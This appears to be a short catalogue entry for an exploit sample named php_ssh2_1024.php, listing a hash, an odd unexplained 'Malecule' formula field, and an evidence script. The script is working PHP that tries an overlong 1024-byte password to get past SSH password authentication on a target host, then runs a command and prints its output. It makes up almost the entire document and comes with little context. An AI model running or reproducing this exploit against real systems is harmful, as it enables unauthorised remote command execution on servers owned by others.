php_ssh2_1024.php
PHP SSH remote exec via overlong passwordSSH password auth with 257-1024 byte secret
SHA-2564e47a059ad9f9aa796957a216715660d0cc20007906e2484914866d0eb5b1429
MaleculeO(La)H₂(CmDb₅)
Evidence
1<?php
2$conn = ssh2_connect($argv[1], 22);
3@ssh2_auth_password($conn, $argv[2], "wrong");
4if (ssh2_auth_password($conn, $argv[2], str_repeat("X", 1024))) {
5 $stream = ssh2_exec($conn, "id");
6 stream_set_blocking($stream, true);
7 echo stream_get_contents($stream);
8}